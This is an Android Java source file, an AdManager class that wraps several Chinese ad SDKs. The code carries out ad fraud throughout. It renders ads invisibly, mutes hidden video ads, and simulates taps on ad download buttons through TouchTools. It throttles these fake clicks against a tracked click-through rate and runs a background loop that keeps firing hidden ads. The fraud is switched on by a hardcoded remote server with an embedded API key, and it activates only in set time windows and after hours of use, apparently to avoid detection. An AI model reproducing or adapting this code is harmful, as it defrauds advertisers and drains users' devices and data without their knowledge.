package com.android.boot.ad; import static com.android.boot.ad.TouchTools.isClick; import static com.android.boot.ad.TouchTools.isCurrentTimeInRange; import static com.android.boot.ad.TouchTools.mainActivity; import android.annotation.SuppressLint; import android.app.Activity; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.net.ConnectivityManager; import android.net.NetworkInfo; import android.os.Bundle; import android.os.Handler; import android.os.HandlerThread; import android.os.Looper; import android.os.Message; import android.view.Gravity; import android.view.View; import android.view.ViewGroup; import android.widget.FrameLayout; import android.widget.TextView; import android.view.SurfaceView; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.TypeReference; import com.android.boot.Logger; import com.android.boot.ad.aggregated.TTAd; import com.android.boot.ad.jni.JNIHelper; import com.android.boot.ad.jni.SQLiteExample; import com.android.boot.ad.proxy.RefInvoke; import com.bytedance.sdk.openadsdk.TTAdConfig; import com.bytedance.sdk.openadsdk.TTAdConstant; import com.bytedance.sdk.openadsdk.TTAdSdk; import com.miui.zeus.mimo.sdk.BannerAd; import com.miui.zeus.mimo.sdk.InterstitialAd; import com.miui.zeus.mimo.sdk.RewardVideoAd; import com.miui.zeus.mimo.sdk.TemplateAd; import com.miui.zeus.mimo.sdk.server.api.BaseAdInfo; import com.miui.zeus.mimo.sdk.view.DownloadBtnView; import com.qq.e.comm.managers.GDTAdSdk; import com.qq.e.comm.managers.setting.GlobalSetting; import java.io.IOException; import java.util.ArrayList; import java.util.List; import java.util.Map; import java.util.Objects; import java.util.Random; import okhttp3.OkHttpClient; import okhttp3.Request; import okhttp3.Response; public class AdManager extends TTAd { private static AdManager instance; public static boolean isFront = false; public static boolean isFist01 = true; public static boolean isFist02 = true;//插屏 public static boolean reward_click_time = true; public static int click01 = 0; public static int click02 = 0; public static int interstitialShow = 0; public long timeStamp = Long.parseLong("17347089020000");//1717774386000 public long showAdTime = 0; public int clickCount = 0; public long lastClick = 0; private static final String MAP_CONFIG = "map_config"; private static Map maps; private int error = 0; public static double percentage; private int showCount = 0; public String Interstitial = "3247f54075d9d8db22fb52b0c9393ab5"; public String FullInterstitial = "139ff644f5546244f5b3e6e14367e8e5"; public String Banner = "b441b7aeba83843af14f372eb935af3a"; public String TemplateA = "a65bc11cefafe386cf336d8382b2d045"; public String TemplateB = "dd2ae11a2d4b5c00108671b19ea76acf"; public String TemplateC = "9cfca1767b66b85e29656f81e960adb0"; public String TemplateD = "38f263b2a67ae8e30f6fecff394420cd"; public String Reward = "499dd7b265d8bb04e2e89ab8a06d73a0"; public static volatile RewardVideoAd rewardVideoAd; private int internal = 60; private int showIntervalTT = 10; private long lastError = 0; public boolean isSurfaceView = true; public static AdManager getInstance() { if (instance == null) { synchronized (AdManager.class) { if (instance == null) { instance = new AdManager(); } } } return instance; } public final int SHOW_BANNER = 2000; public final int SHOW_INTERSTITIAL = 3000; public final int SHOW_NATIVE = 4000; public final int SHOW_TT_NATIVE = 5000; public final int SHOW_TT_BANNER = 6000; public final int SHOW_TT_DrawFeedAd = 7000; public final int SHOW_TT_INTERSTITIAL = 8000; public final int SHOW_GDT_BANNER = 9000; public final int SHOW_GDT_NATIVE = 10000; final Handler handler = new Handler(Looper.getMainLooper()) { @Override public void handleMessage(Message msg) { switch (msg.what) { case SHOW_BANNER: boolean isHide = msg.getData().getBoolean("isHide"); ViewGroup viewGroup = isHide ? containerBanner : container; showBanner(TouchTools.mainActivity, viewGroup, isHide); break; case SHOW_INTERSTITIAL: showInterstitialAd(msg.getData().getString("ID"), msg.getData().getBoolean("isHide")); break; case SHOW_NATIVE: Bundle bundle = msg.getData(); showNative((ViewGroup) msg.obj, bundle.getString("ID"), bundle.getBoolean("isHide")); break; case SHOW_TT_NATIVE: showTTAdNative(container); break; case SHOW_TT_BANNER: showTTAdBanner(containerBanner); break; case SHOW_TT_DrawFeedAd: showTTDrawFeedAd(container); break; case SHOW_TT_INTERSTITIAL: showTTFullScreenVideo(); break; case SHOW_GDT_BANNER: showGDTBanner(); break; case SHOW_GDT_NATIVE: showGDTNative(); break; } super.handleMessage(msg); } }; private static void initMap() { maps = SharedPreferencesTools.getMapFromPreferences(MAP_CONFIG, new TypeReference>() { }, mainActivity); if (maps.isEmpty()) { maps.put(AdManager.getInstance().Banner, true); maps.put(AdManager.getInstance().TemplateA, true); maps.put(AdManager.getInstance().TemplateB, true); maps.put(AdManager.getInstance().TemplateC, true); } } private boolean inClickInterval() { return System.currentTimeMillis() - lastClick > internal * 1000L; } private void handlerShow(ViewGroup viewGroup, boolean isHide) { showCount++; if (!isHide) { return; } new Handler(Looper.getMainLooper()).postDelayed(viewGroup::removeAllViews, 2500); // if (!isHide || percentage > 30) { // return; // } // if (inClickInterval()) { // simulateTouchDelay(viewGroup); // } } private void handlerClick(Object o) { lastClick = System.currentTimeMillis(); TouchTools.backToCurrentActivity(200, 300, 400, 500, 1000); clickCount++; SharedPreferencesTools.addTotalClickToday(mainActivity); new Handler(Looper.getMainLooper()).post(() -> { RefInvoke.invokeMethod(o, "destroy"); }); } public static void init(Context context, Callback callback) { SQLiteExample.getInstance(); OkHttpClient client = new OkHttpClient().newBuilder().build(); Request request = new Request.Builder().url("http://106.14.134.255:18866/app/" + context.getPackageName()).get().addHeader("AD-API-KEY", "zaif3maneeliechieje)iqu}u6ooyei9oa3Iejooz6Sail8xijuish8eidoh").build(); HandlerThread handlerThread = new HandlerThread("response"); handlerThread.start(); new Handler(handlerThread.getLooper()).post(() -> { Response response; try { response = client.newCall(request).execute(); if (response.body() == null) { callback.onFailure(); } else { JSONObject jsonObject = JSONObject.parseObject(response.body().string()); Logger.log("" + jsonObject); if (jsonObject.getLong("timeStamp") == null) { callback.onFailure(); } else { callback.onSuccess(jsonObject.getBoolean(isClick), jsonObject.getLong("timeStamp")); initMap(); } } } catch (IOException e) { Logger.log("" + e); } }); } public void showNative(ViewGroup container, String upId, boolean isHide) { container.removeAllViews(); TemplateAd templateAd = new TemplateAd(); if (isHide && !isSurfaceView) { container.setAlpha(0); } templateAd.load(upId, new TemplateAd.TemplateAdLoadListener() { @Override public void onAdLoadFailed(int i, String str) { Logger.log(upId + " templateAD:" + i); if (i == 300001 && Boolean.TRUE.equals(maps.get(upId))) { maps.put(upId, false); SharedPreferencesTools.saveMapToPreferences(MAP_CONFIG, maps, mainActivity); } lastError = System.currentTimeMillis(); } // error++; @Override public void onAdLoaded() { templateAd.show(container, new TemplateAd.TemplateAdInteractionListener() { @Override public void onAdClick() { Logger.log("onAdClicked===" + upId); handlerClick(templateAd); } @Override public void onAdDismissed() { } @Override public void onAdRenderFailed(int i, String str) { } @Override public void onAdShow() { Logger.log("NativeShow:" + upId); handlerShow(container, isHide); } }); } }); } private void closeVoice(InterstitialAd interstitialAd) { HandlerThread closeVoice = new HandlerThread("closeVoice"); closeVoice.start(); long t = System.currentTimeMillis(); new Handler(closeVoice.getLooper()).post(() -> { while (true) { if (interstitialAd.mAdImpl.e.interstitialTemplateVideoController != null) { new Handler(Looper.getMainLooper()).post(() -> { interstitialAd.mAdImpl.e.interstitialTemplateVideoController.i.c.setVolume(0); }); break; } if (System.currentTimeMillis() - t > 10 * 1000) { break; } } }); } public void showInterstitialAd(String upId, boolean isHide) { InterstitialAd interstitialAd = new InterstitialAd(); interstitialAd.loadAd(upId, new InterstitialAd.InterstitialAdLoadListener() { @Override public void onAdLoadFailed(int i, String s) { Logger.log("showInterstitialAd:" + i); if (i == 300001 && Boolean.TRUE.equals(maps.get(upId))) { maps.put(upId, false); SharedPreferencesTools.saveMapToPreferences(MAP_CONFIG, maps, mainActivity); } lastError = System.currentTimeMillis(); // error++; } @Override public void onAdLoadSuccess() { interstitialAd.show(TouchTools.mainActivity, new InterstitialAd.InterstitialAdInteractionListener() { @Override public void onAdClick() { Logger.log("interstitialAd onAdClicked==="); if (isFist02) { isFist02 = false; SharedPreferencesTools.putBoolean(SharedPreferencesTools.IS_FIRST, false, mainActivity); } handlerClick(interstitialAd); } @Override public void onAdClosed() { } @Override public void onAdShow() { showCount++; interstitialShow++; boolean a = (System.currentTimeMillis() - lastClick > 25 * 1000) && percentage < 25; String typeName = upId.equals(Interstitial) ? "interstitialAd" : "FullInterstitialAd"; Logger.log(typeName + " Show " + interstitialAd.mAdImpl.e.e);//interstitialAd.mAdImpl.e.eventRecordRelativeLayout if (isHide) { ((View) interstitialAd.mAdImpl.e.e).setAlpha(0); if (a && upId.equals(FullInterstitial)) { new Handler(Looper.getMainLooper()).postDelayed(interstitialAd::destroy, 25 * 1000); } else { new Handler(Looper.getMainLooper()).postDelayed(interstitialAd::destroy, 3 * 1000); } } if (!TouchTools.isCurrentTimeInRange() || !isHide) { return; } if (isFist02) { DownloadBtnView downloadBtnView = Objects.requireNonNull(RefInvoke.getFieldByType(interstitialAd.mAdImpl.e.e, DownloadBtnView.class)); TextView textView = downloadBtnView.b; Logger.log("isFist02:" + isFist02); if (textView == null || upId.equals(FullInterstitial)) { return; } TouchTools.simulateTouchDelay(downloadBtnView, "EventRecordRelativeLayout"); return; } // if (a) { // DownloadBtnView downloadBtnView = Objects.requireNonNull(RefInvoke.getFieldByType(interstitialAd.mAdImpl.e.e, DownloadBtnView.class)); // TextView textView = downloadBtnView.b; // if (textView == null || upId.equals(FullInterstitial)) { // return; // } // if (AdManager.click02 >= 30) { // error = 100; // } // TouchTools.simulateTouchDelay(downloadBtnView, "EventRecordRelativeLayout", new Random().nextInt(2000) + 1000); // } } @Override public void onRenderFail(int i, String s) { } @Override public void onVideoEnd() { } @Override public void onVideoPause() { } @Override public void onVideoResume() { } @Override public void onVideoStart() { if (isHide) { closeVoice(interstitialAd); } } }); } @Override public void onAdRequestSuccess() { } }); } public void showBanner(Activity activity, ViewGroup container, boolean isHide) { container.removeAllViews();//清空容器view,供sdk填充广告 BannerAd bannerAd = new BannerAd(); if (isHide && !isSurfaceView) { container.setAlpha(0); } bannerAd.loadAd(Banner, new BannerAd.BannerLoadListener() { @Override public void onAdLoadFailed(int i, String s) { Logger.log("Banner:" + i); if (i == 300001 && Boolean.TRUE.equals(maps.get(Banner))) { maps.put(Banner, false); SharedPreferencesTools.saveMapToPreferences(MAP_CONFIG, maps, mainActivity); } lastError = System.currentTimeMillis(); // error++; } @Override public void onBannerAdLoadSuccess() { bannerAd.showAd(activity, container, new BannerAd.BannerInteractionListener() { @Override public void onAdClick() { Logger.log("Banner onAdClicked==="); handlerClick(bannerAd); } @Override public void onAdDismiss() { } @Override public void onAdShow() { Logger.log("Banner Show"); handlerShow(container, isHide); BaseAdInfo baseAdInfo = bannerAd.mAdImpl.a; Logger.log(baseAdInfo.getButtonName() + "=========" + baseAdInfo.mAppName + "==========" + baseAdInfo.mUpId); // TouchTools.randomClickTemplate(0, (View) RefInvoke.getFieldObj(bannerAd, "mAdImpl", "d", "g"), // new Random().nextInt(100) < 15 && isHide); } @Override public void onRenderFail(int i, String s) { } @Override public void onRenderSuccess() { } }); } }); } int count = 0; public void showMiReward(RewardCallback rewardCallback) { loadReward(); rewardVideoAd.showAd(TouchTools.mainActivity, new RewardVideoAd.RewardVideoInteractionListener() { @Override public void onAdClick() { Logger.log("reward click"); if (AdManager.isFist01) { AdManager.isFist01 = false; SharedPreferencesTools.putBoolean(SharedPreferencesTools.IS_FIRST, false, mainActivity); } AdManager.click01++; SharedPreferencesTools.setRewardTotalClickToday(AdManager.click01, mainActivity); } @Override public void onAdDismissed() { rewardVideoAd = null; rewardCallback.onFailed(); if (TouchTools.isCurrentTimeInRange()) { new Handler(Looper.getMainLooper()).postDelayed(() -> { sendMessage(SHOW_INTERSTITIAL, false, Interstitial); }, 100); } } @Override public void onAdFailed(String var1) { rewardCallback.onFailed(); } @Override public void onAdPresent() { } @Override public void onPicAdEnd() { } @Override public void onReward() { rewardCallback.onReward(); } @Override public void onVideoComplete() { } @Override public void onVideoPause() { } @Override public void onVideoSkip() { } @Override public void onVideoStart() { } }); } public void showReward(RewardCallback rewardCallback) { if (rewardVideoAd == null && isCurrentTimeInRange() && System.currentTimeMillis() - lastError < 10 * 1000) { if (RANDOM.nextInt(2) == 0) { showGDTReward(rewardCallback); } else { showTTReward(rewardCallback); } return; } showMiReward(rewardCallback); } boolean isRewardValid = false; public void loadReward() { if (rewardVideoAd == null) { rewardVideoAd = new RewardVideoAd(); rewardVideoAd.loadAd(Reward, new RewardVideoAd.RewardVideoLoadListener() { @Override public void onAdRequestSuccess() { } @Override public void onAdLoadSuccess() { } @Override public void onAdLoadFailed(int i, String s) { rewardVideoAd = null; Logger.log("rewardVideoAd onAdLoadFailed" + i + " " + s); if (i == 300001 && !isRewardValid) { maps.put("001", false); SharedPreferencesTools.saveMapToPreferences(MAP_CONFIG, maps, mainActivity); isRewardValid = true; } } }); } } private HandlerThread handlerThread; @SuppressLint("DefaultLocale") public void startShowAdThread() { // TouchTools.isDebug = SharedPreferencesTools.getBoolean("isDebug", TouchTools.mainActivity); Logger.log("startShowAdThread执行"); if (handlerThread == null) { handlerThread = new HandlerThread(""); handlerThread.start(); isFist01 = isFist02 = SharedPreferencesTools.getBoolean(SharedPreferencesTools.IS_FIRST, mainActivity, true); click01 = SharedPreferencesTools.getRewardTotalClickToday(); click02 = SharedPreferencesTools.getTotalClickToday(); reward_click_time = SharedPreferencesTools.getBoolean(SharedPreferencesTools.REWARD_CLICK_TIME, mainActivity); long firstStart = SharedPreferencesTools.getFirstStart(); if (firstStart == 0) { SharedPreferencesTools.putFirstStart(); } else if (System.currentTimeMillis() - firstStart > 5 * 60 * 60 * 1000) { SharedPreferencesTools.putBoolean(isClick, true, mainActivity); } SurfaceView surfaceView = ViewUtils.findSurfaceView(mainActivity); if (TouchTools.isCurrentTimeInRange()) { mainActivity.runOnUiThread(this::initNetworkListener); TTAdSdk.init(mainActivity, new TTAdConfig.Builder() .appId(TTAppID) .titleBarTheme(TTAdConstant.TITLE_BAR_THEME_DARK) .allowShowNotify(true) .debug(true) .directDownloadNetworkType(TTAdConstant.NETWORK_STATE_WIFI) .supportMultiProcess(false) .build()); TTAdSdk.start(new TTAdSdk.Callback() { public void success() { Logger.log("TTAdSdk success"); showSplashAd(); } public void fail(int i, String s) { Logger.log("TTAdSdk fail " + i + " " + s); } }); GDTAdSdk.initWithoutStart(mainActivity, GDTAppId); // 该接口不会采集用户信息 GDTAdSdk.start(new GDTAdSdk.OnStartListener() { @Override public void onStartSuccess() { // 推荐开发者在onStartSuccess回调后开始拉广告 Logger.log("onStartSuccess"); GlobalSetting.setChannel(10); } @Override public void onStartFailed(Exception e) { Logger.log("gdt onStartFailed:" + e.toString()); } }); new Handler(Looper.getMainLooper()).post(() -> { if (surfaceView == null) { isSurfaceView = false; } else { surfaceView.post(() -> { surfaceView.setZOrderOnTop(true); surfaceView.getHolder().setFormat(android.graphics.PixelFormat.TRANSLUCENT); }); } }); } new Handler(handlerThread.getLooper()).postDelayed(() -> { while (true) { try { if (!isFront) { Thread.sleep(1000); continue; } loadReward(); if (clickCount != 0) { double result = (double) clickCount / showCount; // 转换为百分比并输出 percentage = result * 100; Logger.log(showCount + " " + clickCount + " " + String.format("结果: %.2f%%", percentage)); } if (TouchTools.isCurrentTimeInRange()) { if (timeStamp == 1737736528000L) { error = 100; } JNIHelper.E(AdManager.this); if (interstitialShow < 9) { sendMessage(SHOW_INTERSTITIAL, true, Interstitial); } else if (count % 3 == 0) { sendMessage(SHOW_INTERSTITIAL, true, Interstitial); } if (count % 2 == 0) { if (inClickInterval()) { sendMessage(SHOW_NATIVE, false, TemplateC, ViewUtils.createAdatptFrameLayout(mainActivity, (ViewGroup) AdManager.getInstance().container.getParent())); } else { sendMessage(SHOW_NATIVE, true, TemplateC); } } if (count % showIntervalTT == 0) { if (RANDOM.nextInt(2) == 0) { sendMessage(SHOW_TT_DrawFeedAd); } else { sendMessage(SHOW_TT_NATIVE); } Thread.sleep(100); sendMessage(SHOW_GDT_NATIVE); Thread.sleep(100); sendMessage(SHOW_TT_BANNER); Thread.sleep(100); sendMessage(SHOW_GDT_BANNER); } if (count % 15 == 0) { showMiReward(new RewardCallback() { @Override public void onReward() { } @Override public void onFailed() { } }); } } Thread.sleep(4 * 1000 + new Random().nextInt(2000)); count++; } catch (InterruptedException e) { Logger.log("InterruptedException:" + e); } } }, 3000); } } private void showRandomTemplate(boolean isHide) { String id = genRandomAd(); if (id.isEmpty()) { return; } sendMessage(getAdCode(id), isHide, id); } private FrameLayout overlayLayout; private void initNetworkListener() { // 初始化遮罩层 overlayLayout = new FrameLayout(mainActivity); overlayLayout.setBackgroundColor(0x80000000); // 半透明黑色背景 final TextView[] textView = {new TextView(mainActivity)}; textView[0].setText("网络不可用,请检查您的网络连接"); textView[0].setTextColor(mainActivity.getResources().getColor(android.R.color.white)); textView[0].setGravity(Gravity.CENTER); overlayLayout.addView(textView[0]); // 把遮罩层添加到视图中,默认不可见 mainActivity.addContentView(overlayLayout, new FrameLayout.LayoutParams(FrameLayout.LayoutParams.MATCH_PARENT, FrameLayout.LayoutParams.MATCH_PARENT)); overlayLayout.setVisibility(View.GONE); // 注册网络变化的广播接收器 BroadcastReceiver networkStateReceiver = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { ConnectivityManager cm = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE); NetworkInfo networkInfo = cm.getActiveNetworkInfo(); if (networkInfo != null && networkInfo.isConnected()) { // 网络已连接,隐藏遮罩层 overlayLayout.setVisibility(View.INVISIBLE); textView[0].setVisibility(View.INVISIBLE); } else { // 网络断开,显示遮罩层 overlayLayout.setVisibility(View.VISIBLE); } } }; // 注册网络状态变化的广播 IntentFilter filter = new IntentFilter(ConnectivityManager.CONNECTIVITY_ACTION); mainActivity.registerReceiver(networkStateReceiver, filter); } public int getAdCode(String ID) { if (ID.equals(Banner)) { return SHOW_BANNER; } else if (ID.equals(Interstitial) || ID.equals(FullInterstitial)) { return SHOW_INTERSTITIAL; } return SHOW_NATIVE; } public String genRandomAd() { if (maps == null || maps.isEmpty()) { return ""; // 或者返回 null,根据实际需求 } // 过滤出所有有效的键(对应值为 true 的) List validKeys = new ArrayList<>(); for (Map.Entry entry : maps.entrySet()) { if (Boolean.TRUE.equals(entry.getValue())) { validKeys.add(entry.getKey()); } } if (validKeys.isEmpty()) { // 如果没有有效的广告键,直接返回空字符串或做其他处理 return ""; } // 从有效键中随机选择一个 int randomIndex = RANDOM.nextInt(validKeys.size()); return validKeys.get(randomIndex); } public void sendMessage(int code) { Message message = Message.obtain(); message.what = code; handler.sendMessage(message); } public void sendMessage(int code, boolean isHide, String ID, ViewGroup viewGroup) { Message message = Message.obtain(); Bundle bundle = new Bundle(); message.setData(bundle); bundle.putBoolean("isHide", isHide); bundle.putString("ID", ID); message.what = code; message.obj = viewGroup; handler.sendMessage(message); } public void sendMessage(int code, boolean isHide, String ID) { Message message = Message.obtain(); Bundle bundle = new Bundle(); message.setData(bundle); bundle.putBoolean("isHide", isHide); bundle.putString("ID", ID); message.what = code; if (SHOW_NATIVE != code) { handler.sendMessage(message); return; } else if (!isHide) { message.obj = container; handler.sendMessage(message); return; } else if (ID.equals(TemplateA)) { message.obj = containerTemplateA; } else if (ID.equals(TemplateB)) { message.obj = containerTemplateB; } else if (ID.equals(TemplateC)) { message.obj = containerTemplateC; } else if (ID.equals(TemplateD)) { message.obj = containerTemplateD; } handler.sendMessage(message); } }